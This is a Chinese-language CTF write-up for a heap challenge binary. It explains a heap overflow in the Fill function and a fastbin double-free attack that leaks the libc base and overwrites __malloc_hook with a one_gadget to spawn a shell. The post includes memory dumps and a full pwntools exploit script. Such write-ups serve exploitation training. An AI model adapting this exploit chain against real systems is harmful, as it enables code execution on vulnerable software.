获取中...

-

Just a minute...

利用 fastbin attack 即 double free 的方式泄露 libc 基址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写能力。

查看文件信息

64位,保护全开

1
2
3
4
5
6
7
ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

ida查看

主菜单

1
2
3
4
5
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit

allocate函数

分配内存大小并给出 index,分配的大小不能超过 4096 字节

(24LL i + a1):置 1 表示 chunk 已经创建

(a1 + 24LL i + 8):存储 chunk 的大小

(a1 + 24LL i + 16):存储 chunk 的地址

Fill函数

输入 index ,并分配内存进行内容写入操作

先判断对应位是否为 1 ,即 chunk 是否存在

如果存在把输入的内容写入 (24LL v2 + a1 + 16) 对应的地址中。

同时这里没有对 v3 的大小做限制,存在堆溢出,所以会覆盖其他chunk

Free函数

输入 index ,释放相应的内存空间

先判断对应位是否为 1 ,即 chunk 是否存在

如果存在

把对应位 (24LL v2 + a1) 置 0 ,表示 chunk 销毁

记录 chunk 大小的 (24LL v2 + a1 + 8) 置 0

释放指针 (24LL v2 + a1 + 16) 对应的内存,即输入内容的那部分

Dump函数

输入 index ,打印内容

先判断对应位是否为 1 ,即 chunk 是否存在

如果存在,打印长度为 (24LL v2 + a1 + 8) 存储字节数内容指针 (24LL v2 + a1 + 16) 指向的内容

思路

两次 double free 与 fastbin attack 。第一次先泄露 libc 地址,然后找到构造 fack chunk 的地址。第二次通过构造的 fack chunk 堆溢出覆写 __malloc_hook 完成 get shell 。

利用

leak libc

part1

程序没有 uaf ,内存被释放后无法查看其中内容,可以通过 double free 获得指向 small bin 的 index,将其释放后 dump 出来。

配一系列相同大小的 fast chunk,再分配一个 small chunk,释放掉其中一个 fast chunk

1
2
3
4
5
6
7
8
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)

free(1)
free(2)

释放的那个 fast chunk 被放入到 fastbin 中,fastbin 为单链表形式,s再释放一个 fast chunk,将其插入 fastbin 的头部,释放的第二个 chunk 其 fd 会被设置成第一个 chunk 的地址

此时

1
2
3
4
5
6
7
8
9
0x562c44806000:	0x0000000000000000	0x0000000000000021
0x562c44806010: 0x0000000000000000 0x0000000000000000
0x562c44806020: 0x0000000000000000 0x0000000000000021
0x562c44806030: 0x0000000000000000 0x0000000000000000
0x562c44806040: 0x0000000000000000 0x0000000000000021
0x562c44806050: 0x0000562c44806020 0x0000000000000000
0x562c44806060: 0x0000000000000000 0x0000000000000021
0x562c44806070: 0x0000000000000000 0x0000000000000000
0x562c44806080: 0x0000000000000000 0x0000000000000091

part2

chunk 2 的内容覆盖为 chunk 4 的地址,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin

1
2
3
4
5
6
7
8
9
10
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
1
2
3
4
5
6
7
8
9
10
0x561bca953000:	0x0000000000000000	0x0000000000000021
0x561bca953010: 0x0000000000000000 0x0000000000000000
0x561bca953020: 0x0000000000000000 0x0000000000000021
0x561bca953030: 0x0000000000000000 0x0000000000000000
0x561bca953040: 0x0000000000000000 0x0000000000000021
0x561bca953050: 0x0000561bca953020 0x0000000000000000
0x561bca953060: 0x0000000000000000 0x0000000000000021
0x561bca953070: 0x0000000000000000 0x0000000000000000
0x561bca953080: 0x0000000000000000 0x0000000000000091
0x561bca953090: 0x0000000000000000 0x0000000000000000

part3

之后malloc会chunk4,malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小

1
2
3
4
5
6
7
alloc(0x10)
alloc(0x10)
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)

part4

泄漏libc基址

1
2
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

part5

1
2
3
4
allocate(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

绕过检测

覆盖了 __malloc_hook 函数,这样我们调用 malloc 时就相当于调用我们写入的内容

alloc 时还需要再次绕过检测,malloc(0x60) 也就是 0x70 大小的 chunk

part6

1
2
3
4
5
6
7
allocate(0x60)
allocate(0x60)
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
allocate(255)

把 chunk 4 malloc 回来,这次 malloc 的大小在 fastbin 之内,然后把 chunk 4 的内容改为我们下一个要构造块的地址(chunk 4 已经被 free 掉,所以无法用 fill(4) 写入,由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址,所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1,第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2,也就是说 index 2 与 index 4 的内容都是 chunk 4)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
import sys
p = process('./pwn')
elf = ELF('./pwn')

def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))

def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)

def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()


alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free(1)
free(2)

payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)


payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)

alloc(0x10)
alloc(0x10)
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
gdb.attach(p)

alloc(0x60)
free(4)

payload = p64(libc_base+0x3c4aed)
fill(2, payload)

alloc(0x60)
alloc(0x60)

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)

alloc(255)

p.interactive()
相关文章
评论
分享
  • 网鼎杯部分wp

    pwnboom1分析远程已经打不通了,远程的偏移和本地的偏移不一样,只能复现一下本地的了。 首先看到流程图,代码量很大,有很大的switch语句和嵌套结构,可能是虚拟机或者是解析器。 从下图看出是一个C语言的解析器。 然后看了...

    网鼎杯部分wp
  • 数字中国创新大赛

    又是自闭的一天。。 game这一题是关于python字节码的题目,之前没有了解过,看了几篇关于python字节码的文章,死磕,手工还原。。 python字节码 12345678910111213141516171819202122...

    数字中国创新大赛
  • hitcontraining_uaf

    一道简单的uaf的题目 保护12345Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX...

    hitcontraining_uaf
Please check the parameter of comment in config.yml of hexo-theme-Annie!